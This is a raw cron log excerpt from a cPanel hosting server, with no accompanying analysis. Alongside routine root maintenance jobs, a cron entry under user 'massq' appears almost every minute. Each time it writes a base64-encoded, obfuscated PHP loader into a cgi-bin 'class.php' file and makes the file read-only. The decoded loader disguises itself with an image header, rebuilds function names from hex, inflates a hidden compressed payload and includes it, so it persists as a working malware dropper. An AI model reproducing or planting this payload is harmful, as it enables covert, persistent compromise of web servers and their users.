"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:20:01 server CROND[27560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:20:01 server CROND[27561]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:20:01 server CROND[27558]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:21:01 server CROND[28471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:21:01 server CROND[28472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:21:01 server CROND[28473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:22:01 server CROND[28834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:22:01 server CROND[28835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:22:01 server CROND[28836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:23:01 server CROND[29211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:23:01 server CROND[29212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:23:01 server CROND[29213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:24:01 server CROND[29588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:24:01 server CROND[29589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:24:01 server CROND[29590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:25:01 server CROND[29961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:25:01 server CROND[29962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:25:01 server CROND[29965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:25:01 server CROND[29966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:25:01 server CROND[29970]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:25:01 server CROND[29968]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:25:01 server CROND[29967]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 04:25:01 server CROND[29969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:26:01 server CROND[30797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:26:01 server CROND[30796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:26:01 server CROND[30798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:27:01 server CROND[31251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:27:01 server CROND[31252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 04:27:01 server CROND[31253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:27:01 server CROND[31255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:28:01 server CROND[31619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:28:01 server CROND[31620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:28:01 server CROND[31621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:29:01 server CROND[31988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:29:01 server CROND[31989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:29:01 server CROND[31987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:30:01 server CROND[32381]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:30:01 server CROND[32383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:30:01 server CROND[32388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:30:01 server CROND[32386]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  7 04:30:01 server CROND[32391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:30:01 server CROND[32387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:30:01 server CROND[32390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:30:01 server CROND[32389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:30:01 server CROND[32392]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 04:30:01 server CROND[32393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:31:01 server CROND[810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:31:01 server CROND[811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:31:01 server CROND[812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
